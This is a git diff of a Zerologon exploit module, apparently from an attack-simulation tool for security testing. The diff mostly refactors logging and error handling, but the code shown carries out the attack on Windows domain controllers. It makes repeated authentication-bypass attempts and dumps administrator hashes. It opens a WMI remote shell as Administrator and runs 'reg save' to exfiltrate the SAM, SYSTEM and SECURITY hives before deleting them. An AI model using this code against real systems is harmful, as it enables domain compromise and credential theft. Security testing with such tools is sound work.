diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index b3381495f..15ccefcac 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -17,7 +17,6 @@ import sys import time import traceback from binascii import hexlify, unhexlify -from typing import List import impacket from Cryptodome.Cipher import AES, ARC4, DES @@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter): # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. + LOG.debug("Attempting exploit.") result = None for _ in range(0, self.MAX_ATTEMPTS): try: result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) - except nrpc.DCERPCSessionError as ex: + except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. - if ex.get_error_code() != 0xc0000022: - LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") - except BaseException as ex: - LOG.info(f"Unexpected error: {ex}") + if e.get_error_code() != 0xc0000022: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") if result is not None: break - LOG.debug(f"Result error code: {result['ErrorCode']}") if result['ErrorCode'] == 0: LOG.info("Exploit complete!") else: - LOG.info("Non-zero return code, something went wrong.") + LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") _exploited = True @@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - try: - self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + if self.restore_password(DC_HANDLE, DC_IP, DC_NAME): LOG.info("System exploited and password restored successfully.") - except: + else: LOG.info("System exploited but couldn't restore password!") + else: + LOG.info("System was not exploited.") + + return _exploited def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) @@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): LOG.info("Restoring original password...") - LOG.info("DCSync; getting original password hashes.") + LOG.debug("DCSync; getting admin password's hashes.") admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) try: if not admin_pwd_hashes: raise Exception("Couldn't extract admin password's hashes.") + LOG.debug("Getting original DC password's nthash.") original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") # Keep authenticating until successful. + LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) if rpc_con is not None: break if rpc_con: - LOG.info("DC machine account password should be restored to its original value.") + LOG.debug("DC machine account password should be restored to its original value.") + return True else: - LOG.info("Failed to restore password.") + raise Exception("Failed to restore password! Max attempts exceeded?") except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str: + def get_admin_pwd_hashes(self, DC_NAME, DC_IP): options = self.OPTIONS_FOR_SECRETSDUMP.copy() options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target_ip'] = DC_IP @@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter): hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" return ':'.join(hashes) # format - "lmhash:nthash" - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str: + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): return @@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter): nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]: + def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''): dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + LOG.debug("Starting remote shell on victim.") + wmiexec = Wmiexec(ip=DC_IP, username='Administrator', hashes=admin_pwd_hashes, @@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter): if remote_shell: _set_stdout_to_in_memory_text_stream() - # Save HKLM keys on host. + # Save HKLM keys on victim. shell.onecmd('reg save HKLM\SYSTEM system.save && ' + 'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SECURITY security.save') @@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter): shell.onecmd('get sam.save') shell.onecmd('get security.save') - # Delete saved keys on host. + # Delete saved keys on victim. shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() @@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter): resp = rpc_con.request(request) resp.dump() - except Exception as ex: - LOG.info(f"Unexpected error: {ex}") + except Exception as e: + LOG.info(f"Unexpected error: {e}") return rpc_con - except nrpc.DCERPCSessionError as ex: + except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if ex.get_error_code() == 0xc0000022: + if e.get_error_code() == 0xc0000022: return None else: - LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as ex: - LOG.info(f"Unexpected error: {ex}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") class NetrServerPasswordSet(nrpc.NDRCALL): @@ -525,7 +532,7 @@ class DumpSecrets: return dumped_secrets def cleanup(self): - LOG.info('Cleaning up...') + LOG.debug('Cleaning up...') if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: